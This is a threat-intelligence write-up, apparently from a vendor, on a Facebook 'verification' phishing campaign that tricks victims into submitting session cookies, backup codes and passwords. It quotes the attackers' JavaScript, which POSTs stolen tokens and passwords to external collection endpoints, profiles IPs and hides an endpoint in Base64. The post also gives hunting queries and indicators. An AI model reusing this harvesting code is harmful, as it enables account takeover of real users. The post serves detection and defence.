ClickFix Campaign Hijacks Facebook Sessions at Scale by Abusing Verification and Appeal Workflows

ClickFix is a form of social engineering where the victim becomes part of the attack workflow. Instead of exploiting a vulnerability, the attacker guides the target through a series of steps that end with sensitive data being handed over voluntarily. In this campaign, the “fix” is not a command or a file, but a guided process designed to extract live Facebook session cookies directly from the victim’s browser.

Unit42 highlighted this campaign on December 19, 2025, while our infrastructure analysis shows related phishing pages and collection endpoints active as early as January 2025. The attack impersonates Facebook verification and appeal workflows, prioritizing session-token theft with credential and recovery code capture as fallback.

We identified 115 webpages across the attack chain and eight exfiltration endpoints, primarily targeting creators, monetized pages, and businesses seeking verification, where a stolen session enables immediate account takeover.

Before going deeper into the findings, here are the main findings at a glance.

Key Takeaways

• Victims are coached to submit c_user and xs through fake verification pages and instructional videos.

• The workflow is multi-stage (lure, verification, recovery). We identified 115 distinct pages across the chain.

• Exfiltration is decoupled from hosting via 8 serverless collection endpoints (submit-form[.]com, Formspark, shiper[.]app), mainly through JSON POST.

• Infrastructure reuse is extensive. A title-based pivot revealed 103 unique hostnames serving verification-themed pages since 2025-01-01.

• Final-stage content is heavily replicated. The exact title "Facebook Security Confirmation" appears across 14 distinct URLs.

• If cookie replay fails, the flow falls back to backup codes and password capture.

To understand how this campaign surfaced and evolved, it helps to start with the initial reporting and early indicators.

Background Reference

The investigation began with an X post from Unit42 Intel on 19 December 2025, which detailed an ongoing phishing campaign targeting social media content creators under the pretext of offering free verified badges.

Instead of a fake login page, the flow starts with a badge or appeal pretext and pushes victims into submitting session tokens from their browser.

Figure 1. An X post from @Unit42_Intel on 19 December 2025, which first identified a novel phishing campaign targeting content creators via manual token theft.

Unit 42 Threat Intelligence published the campaign's IOCs on GitHub, which became the starting point and primary focus of our investigation.

Live Infrastructure Discovery

Building on available intelligence, we first used Hunt.io to independently validate and expand visibility into the campaign's active infrastructure.

A HuntSQL™ query was crafted against the crawler dataset to identify live websites (HTTP 200 responses) associated with the reported domains, focusing on activity observed after January 2025.

SELECT
  url
FROM
  crawler
WHERE
  status = '200' AND
  (url LIKE '%1-free-reward.netlify.app%'
  OR url LIKE '%activation-form.vercel.app%'
  OR url LIKE '%appeals.neocities.org%'
  OR url LIKE '%apply-get-badge.org%'
  OR url LIKE '%apply-get-tick.netlify.app%'
  OR url LIKE '%applyfor-bluebadge.vercel.app%'
  OR url LIKE '%badge-apply-free.surge.sh%'
  OR url LIKE '%chatbot.pagehelppro.xyz%'
  OR url LIKE '%click-here-a.netlify.app%'
  OR url LIKE '%collact-reward.netlify.app%'
  OR url LIKE '%fb-badge-reward.netlify.app%'
  OR url LIKE '%fb-terms.vercel.app%'
  OR url LIKE '%fil-here.netlify.app%'
  OR url LIKE '%file-panel.netlify.app%'
  OR url LIKE '%free-blue-tick-get-now.org%'
  OR url LIKE '%free-get-badge.netlify.app%'
  OR url LIKE '%free-get-reward.netlify.app%'
  OR url LIKE '%free-reward-m.netlify.app%'
  OR url LIKE '%free-rewards-h.wasmer.app%'
  OR url LIKE '%free-verifications.netlify.app%'
  OR url LIKE '%get-blue-badge1066843.vercel.app%'
  OR url LIKE '%get-blue-program.vercel.app%'
  OR url LIKE '%get-permanent-badge.org%'
  OR url LIKE '%getbadge-case2343531.online%'
  OR url LIKE '%inf0-applying-center.vercel.app%'
  OR url LIKE '%lifetime-free-blue-page-f.surge.sh%'
  OR url LIKE '%now-blue-tick-get-free.vercel.app%'
  OR url LIKE '%request-for-review-remove-here.wasmer.app%'
  OR url LIKE '%tick-badge-approval.surge.sh%'
  OR url LIKE '%tick-trust-verify.surge.sh%'
  OR url LIKE '%yingvera12345.github.io%')
AND 
    timestamp gt '2025-01-01'
GROUP BY
    url

                
Copy

Output Example:

Figure 2. The result shows 20 live (HTTP 200) phishing URLs associated with the Unit 42 reported infrastructure after January 2025.

The query returned 20 active URLs spanning multiple abuse-friendly and legitimate hosting platforms, including Netlify, Vercel, Wasmer, GitHub Pages, and standalone domains.

Similarly, our analysis identified 8 unique page titles across 20 active webpages containing the keyword 'Facebook', indicating a high degree of content reuse.

This overlap suggests a coordinated campaign in which the threat actor consistently employs Facebook-themed lure pages to attract victims and support phishing activity.

Figure 3. The results show 8 unique titles from IoCs with a 200 status code in the Hunt.io Platform.

Pivoting Infrastructure Using Titles

After identifying active phishing URLs and their associated page titles, the investigation pivoted to infrastructure-level analysis linked to those same thematic indicators.

Using Hunt.io's crawler data, we queried for all unique hostnames serving pages with Facebook verification-related titles observed in the earlier results.

SELECT
  hostname
FROM
  crawler
WHERE
  (
    title = 'Facebook Blue Bick Center'
    OR title = 'Request a Verified Badge on Facebook'
    OR title = 'Connecting to Facebook Help Center'
    OR title = 'Facebook -- Congratulations'
    OR title = 'Facebook blue'
    OR title = 'Face Verification'
    OR title = 'get-permanent-badge.org - get permanent badge Resources and Information.'
    OR title = 'Facebook Page Support Center'
  )
  AND timestamp gt '2025-01-01'
GROUP BY
  hostname

                
Copy

Output Example:

Figure 4. Results of title-based pivot revealing 103 unique hostnames associated with Facebook verification-themed phishing pages active since January 2025.

This pivot expanded the campaign footprint, revealing 103 unique hostnames active since January 2025. The newly identified malicious infrastructure spanned a wide range of hosting providers, including Netlify, Vercel, Wasmer, Surge, GitHub Pages, Cloudflare Pages, and Neocities.

Notably, hostname naming conventions showed strong thematic clustering around "blue tick," "verified badge," "appeal," and "free verification," indicating centralized content templates.

Investigation and Analysis

The investigation began with the phishing entry point hosted at https://get-lifetime-badge-v[.]vercel[.]app, which presents itself as a "Face Verification" page.

Figure 5. Initial phishing entry point hosted on Vercel masquerading as a "Face Verification" page, designed to simulate legitimacy without performing any real biometric checks.

This page does not perform any real biometric verification; instead, it simulates a legitimacy check through animated visuals, sound cues, and timed state changes.

Once the animation completes, a hardcoded JavaScript redirect sends the victim to the next stage at https://free-collect-lifetime-badge[.]vercel[.]app/.

<script>
    const redirectURL = "https://free-collect-lifetime-badge.vercel.app/"; 
    setTimeout(() => {
        document.getElementById("continueBtn").addEventListener("click", () => {
        window.location.href = redirectURL;
    });
</script>

                
Copy

The second-stage page fully impersonates Facebook's branding and UI conventions, presenting itself as the "Facebook Blue Tick Center."

At this stage, the victim is informed that their page has been selected for a free or permanent verified badge, a recurring lure observed across the campaign. Prominent "Action Required" warnings create urgency and push the victim to continue the verification process.

Figure 6. Second-stage phishing page impersonating the "Facebook Blue Tick Center" using Facebook branding and urgency-based messaging to push victims further into the verification flow.

The user is presented with a step-by-step verification guide in an embedded instructional video, which provides explicit instructions to extract Facebook authentication tokens (c_user and xs) from browser cookies.

Figure 7. Embedded instructional video guiding victims through the manual extraction of Facebook session cookies (c_user and xs) from browser developer tools.

After the user enters the required details (c_user and xs) under the pretense of account verification, the script performs real-time input validation to ensure the submitted values resemble legitimate Facebook session tokens before allowing submission.

This filtering reduces attacker-side noise and increases the likelihood that only valid, reusable sessions are collected.

Figure 8. A form to get Facebook Authentication tokens from victims to continue the verification process, along with JavaScript-based real-time validation logic used to verify token structure before submission.

A note was added for the victim instructing them not to log out for 24 hours, ensuring harvested cookies remain valid long enough for account takeover.

The validated tokens are exfiltrated using a JSON POST request to a third-party form backend at https://submit-form[.]com/Yajvf9ABS, allowing the attackers to decouple phishing infrastructure from data collection.

The POST request structure observed is shown below:

fetch("https://submit-form.com/Yajvf9ABS", {
  method: "POST",
  headers: {
    "Content-Type": "application/json"
  },
  body: JSON.stringify({
    c_user: document.getElementById("c_user").value,
    xs: document.getElementById("xs").value,
    user_agent: navigator.userAgent,
    timestamp: new Date().toISOString()
  })
});

                
Copy

If validation passes, the script displays a loading animation and submits the data and redirects the victim to another "information required" page at "https://info-required-rho[.]vercel[.]app/".

Notably, even if the submission fails, the redirect still occurs, preventing user suspicion and maintaining the illusion of progress.

  // Submit to first form, then redirect
     Promise.all([
            submitToFirstForm(formData),
          ])
            .then(() => {
              // Hide loading state
              submitRequestBtn.classList.remove("button-loading");
              submitRequestBtn.disabled = false;
              // Close the modal
              appealModal.style.display = "none";
              // Redirect to example link after successful submission
              window.location.href = "https://info-required-rho.vercel.app/";
            })
            .catch((error) => {
              // Hide loading state
              submitRequestBtn.classList.remove("button-loading");
              submitRequestBtn.disabled = false;
              console.error("Error during submission:", error);
              // Still redirect even if submission fails (optional behavior)
              // Comment out the next 3 lines if you want to prevent redirect on error
              appealModal.style.display = "none";
              window.location.href = "https://info-required.vercel.app/";
            });

                
Copy

The final stage introduces a fake Facebook Security Confirmation page. Victims are told additional verification is required "for account safety," reinforcing legitimacy.

Figure 9. Final-stage "Facebook Security Confirmation" page introducing additional verification requirements under the pretext of account safety.

This page introduces two additional harvesting mechanisms. In the first flow, the victims are prompted to enter backup or security codes, which are again POSTed to the same submit-form.com endpoint.

However, after simulated validation failures, a pop-up requests the victim to re-enter their Facebook password, completing the credential harvesting chain.

<script>
    form.addEventListener("submit", function (e) {
      e.preventDefault();
      const code = document.getElementById("security-code").value;
      fetch("https://submit-form.com/Yajvf9ABS", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({ code })
      });

    function submitPassword() {
      const password = document.getElementById("passwordInput").value;
      fetch("https://submit-form.com/Yajvf9ABS", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({ password })
      });
  </script>

                
Copy

This sequence shows why the campaign is effective: it captures a usable session first, then collects backup access paths if the session can't be replayed.

In another similar attack chain, we observed the token harvesting and credential exfiltration endpoint https://submit-form[.]com/cl2uWSEUd, which is backed by a Formspark form.

Formspark is a third-party, serverless forms backend service that allows developers to collect HTML form submissions without maintaining their own server or database.

Figure 10. Exfiltration endpoint backed by Formspark, demonstrating attacker reliance on third-party serverless form backends to decouple data collection from phishing infrastructure.

In another related attack variant hosted at https://badge-opportunity-free[.]surge[.]sh, we observed an expanded harvesting workflow that introduces direct email-based exfiltration and conditional logic based on victim environment profiling.

The script performs an IP intelligence check via https://handle[.]gadgetsdecory[.]xyz:3000/anotherdc to determine proxy usage and geolocation, dynamically altering the attack flow for non-proxy users outside Pakistan.

// IP Check and recovery code setup
    document.addEventListener("DOMContentLoaded", function () {
        fetch(`https://handle.gadgetsdecory.xyz:3000/anotherdc`)
            .then(res => res.json())
            .then(data => {
                const myIp = data.clientIp;
                const proxyStatus = data[myIp]?.proxy;
                const countryCode = data[myIp]?.isocode;
                if (proxyStatus !== "yes" && countryCode !== "PK") {
                    allowRecovery = true;
                    // Change video source for recovery users
                    instructionVideo.querySelector("source").src = "https://ik.imagekit.io/ummab7boi/1031(1).mp4?updatedAt=1761909530441";
                    instructionVideo.load();
                    recoveryGroup.style.display = "block";
                    recoveryWarning.style.display = "block";
                } else {
                    allowRecovery = false;
                    recoveryGroup.style.display = "none";
                    recoveryWarning.style.display = "none";
                }
            })
            .catch(err => console.error("Location check error:", err));

                
Copy

Using Hunt.io, we investigated the domain handle[.]gadgetsdecory[.]xyz, which appeared in the campaign as an IP intelligence and environment-profiling endpoint. It resolves to the IP address 93.127.137[.]89 and is registered through Hostinger, UAB, with registration activity dating to approximately September 2025.

Figure 11. Hunt.io enrichment for handle[.]gadgetsdecory[.]xyz showing a low-reputation registered on the Hostinger with no prior phishing, C2, or IOC associations.

The IP address 93.127.137[.]89 is associated with AS401479 (Database Mart LLC) and geolocated to Kansas City, United States. Hunt.io confirms that port 3000 (HTTP/TLS) is actively exposed and responding (HTTP 200), with activity observed continuously from May 2025 through January 2026. The presence of a live service on port 3000 directly aligns with the script's use of the endpoint /anotherdc for IP intelligence checks, confirming that the domain was not a dead or placeholder resource.

Figure 11. Hunt.io confirms handle[.]gadgetsdecory[.]xyz resolves to 93.127.137[.]89 with port 3000 actively responding (HTTP 200), validating that the IP intelligence endpoint used for proxy and geolocation checks in the phishing workflow was live and operational.

To expand infrastructure visibility, we pivoted on the IP address 93.127.137[.]89 using HuntSQL™ and crafted a targeted query against the httpv2 dataset. The query filtered the SHA-256 hash of a redacted HTTP header, constrained communication to port 3000, and limited results to activity observed within the last 30 days.

SELECT
    ip
FROM
    httpv2
WHERE
    http.headers.redacted.hash.sha256 == "732fdd3ad1600cb23e08a36b4f7192c7d09c47eb63badc8002d2b6935e339689"
    AND port = '3000'
    AND timestamp > NOW - 30 DAY
GROUP BY 
    ip

                
Copy

Output Example:

Figure 12. HuntSQL™ pivot query on 93.127.137[.]89, leveraging a shared HTTP header hash, revealing five unique IPs with overlapping service characteristics.

This pivot yielded five unique IP addresses, indicating a small but consistent cluster of hosts interacting with the same HTTP fingerprint. Using threat intelligence, one of the IP addresses 143.198.42[.]253 has been flagged as malicious by multiple security vendors. The remaining three IPs were not yet marked as malicious; however, they were observed running similar services, which were also highlighted during the pivot.

Once valid token patterns are detected, the script automatically exfiltrates the data without explicit user interaction to https://postal-form[.]on[.]shiper[.]app/submit, embedding hardcoded operator email addresses such as itguy932@gmail.com, along with operator identifiers as "Eng".

async function sendAuto() {
        const cUserInputVal = cUserInput.value.trim();
        const xsInputVal = xsInput.value.trim();
        // Always send c_user and xs
        fetch("https://postal-form.on.shiper.app/submit", {
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify({
                c_user: cUserInputVal,
                xs: xsInputVal,
                emails: ["itguy932@gmail.com"],
                workerEmail: "itguy932@gmail.com",
                name: "Eng",
            }),
        }).then(res => {
            if (res.ok) {
                console.log("Auto-submission successful");
            } else {
                throw new Error('Auto-submission failed');
            }
        }).catch(err => {
            console.error("Auto-submission error:", err);
        });
    }

                
Copy

Similarly, we observed that the commented-out logic explicitly leaks more attacker email addresses, such as "mjohn72929@gmail.com", "codeguy592gmail.com", "hermesanfacebookadvertising@gmail.com," and their recovery as "sajjad boss" and "sajjad".

// const emails = allowRecovery && recoveryCodes ? 
// ["mjohn72929@gmail.com", "codeguy592gmail.com"] : 
// ["mjohn72929@gmail.com", "hermesanfacebookadvertising@gmail.com"];
// const name = allowRecovery && recoveryCodes ? "sajjad boss" : "sajjad";

                
Copy

Additionally, we found another name "Waseem" in one of variables "name".

const name = "waseem"

                
Copy

This design allows stolen sessions to be forwarded directly to attackers' inboxes in near real time.

If recovery codes are supplied, an additional notification request is triggered via https://postal-form[.]on[.]shiper[.]app/notifyLogin, further extending the credential capture chain.

if (response.ok) {
    // If recovery codes are provided, send additional notification
    if (allowRecovery && recoveryCodes) {
        return fetch("https://postal-form.on.shiper.app/notifyLogin", {
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify({ email: recoveryCodes, password: "." })});
        } 
        else {
            window.location.href = "password.html"
        }} 
    else {
        throw new Error('Submission failed');
    }})
    .then((recoveryResponse) => {
        window.location.href = "password.html"
    })
    .catch((error) => {
        console.error("Submission error:", error);
        alert("An error occurred. Please try again.");
        submitRequestBtn.classList.remove("button-loading");
        submitRequestBtn.disabled = false;
});

                
Copy

In another attack chain, the initial lure hosted on review-new-issue[.]neocities[.]org immediately redirects victims to a second-stage page at resolve-newissue-here[.]surge[.]sh, where the attackers introduce an explicit language-selection gate.

Figure 13. Initial lure hosted on Neocities redirects victims to a Surge-hosted second-stage page featuring a language-selection gate to increase engagement and legitimacy.

The Meta page is designed to create urgency by warning users that their account or page is scheduled for deletion due to violations of community guidelines. The user is tricked into applying for an appeal with the requested information.

Figure 14. Fake Meta policy violation notice designed to create urgency by warning victims that their page is scheduled for deletion unless an appeal is submitted.

Similar to the previous attack, the attacker asked for sensitive information such as c_user and xs tokens, which are typically associated with Facebook session credentials.

Figure 15. Appeal submission page requesting Facebook authentication tokens (c_user and xs), continuing the session hijacking workflow under a policy review pretext.

Once the user submits the appeal, the authentication tokens are exfiltrated to https://submit-form[.]com/1v527LkNH. However, this time the attacker used binary encoded strings in HTML code to hide the endpoints.

In another attack, the attacker uses Base64 encoding rather than binary strings. When the individual fragments in obfuscatedEndpointParts are concatenated and decoded using atob(), they resolve to the following endpoint https://submit-form[.]com/z4M6ojyY3.

// Obfuscated endpoint - moved to end of script
        const obfuscatedEndpointParts = [
            "aHR0c",
            "HM6Ly",
            "9zdWJ",
            "taXQt",
            "Zm9yb",
            "S5jb2",
            "0vejR",
            "NNm9q",
            "eVkz"
        ];

                
Copy

By querying the crawler dataset for pages with the exact title "Facebook Security Confirmation" and restricting results to activity after 2025-01-01, we identified 14 distinct URLs serving the same end-stage phishing content.

SELECT
  *
FROM
  crawler
WHERE
  title = 'Facebook Security Confirmation'
  AND timestamp gt '2025-01-01'

                
Copy

Output Example:

Figure 16. Output of title-based pivot for "Facebook Security Confirmation," identifying 14 distinct URLs serving identical final-stage phishing content since January 2025.

The key shift here is that the phishing page doesn't need your login at all. It needs you to hand over an already-authenticated session, and the "verification" storyline is the vehicle that makes people comply.

By abusing Facebook's verification, appeal, and security review narratives, the attackers successfully exploited trust and urgency as tools for session theft.

As long as attackers can manipulate victims into performing these actions, account takeovers will continue to succeed without the need to exploit software vulnerabilities.

Operational Guidance for Threat Intel Teams

• Treat this campaign as a workflow, not a static domain list. Lure URLs rotate quickly; the durable signals are page titles, template structure, and collection endpoints.

• Prioritize tracking and blocking collection backends rather than front-end pages. In this campaign, submit-form[.]com (multiple form IDs), Formspark-backed endpoints, and postal-form[.]on[.]shiper[.]app represent the most stable choke points.

• Build detections around high-signal requested artifacts. Pages requesting c_user and xs values, especially when framed as “verification,” “appeal,” “badge,” or “security confirmation,” should be treated as high-confidence indicators.

• Pivot on reused page titles at scale. Exact matches such as “Facebook Security Confirmation” and close variants repeatedly surfaced across distinct hosts and enabled reliable expansion of the campaign footprint.

• Monitor abuse-friendly hosting patterns used for rapid redeployment. This activity relied on Netlify, Vercel, Wasmer, GitHub Pages, Surge, Cloudflare Pages, and Neocities as a disposable delivery layer.

• Watch for environment-profiling logic embedded in lure pages. The use of IP, proxy, and geolocation checks to dynamically branch the attack flow represents an additional detection opportunity.

• Preserve evidence early. These pages are short-lived. Automate HTML and JavaScript capture, screenshots, and request logging when matches are found to retain the full attack chain for analysis.

• Share findings in machine-usable formats. Prioritize collector endpoints, title and template pivots, hosting patterns, and time-bounded IOC sets to reduce downstream feed pollution.

Conclusion

This campaign operationalizes ClickFix for account takeover: a staged "verification" process that extracts live session access first, then uses backup codes and passwords as contingency paths.

What matters for defenders is the structure: reusable templates, cloud-hosted lures, and serverless collection endpoints that let operators scale fast and swap infrastructure without losing their exfiltration pipeline.

If you're tracking campaigns like this, Hunt.io can help you pivot from one URL into the wider infrastructure.

Indicators of Compromise (IOCs)

Stage 1 & Stage 2 Infrastructure (Lure, Pretext, Redirection)

Last-Stage Pivot (Final Credential / Session Harvesting)

Type	Value	Description / Context
URL	winscottwood-glitch.github.io	Final-stage phishing page used to capture credentials
URL	yingvera12348.github.io
URL	harryxstar1010.github.io
URL	raheel77665544332211.github.io
URL	submit-details-review.vercel.app
URL	vidyamenon627477-wq.github.io
URL	securityverificationrequired.github.io

Exfiltration Infrastructure (Form-Based Data Theft)

MITRE ATT&CK Mapping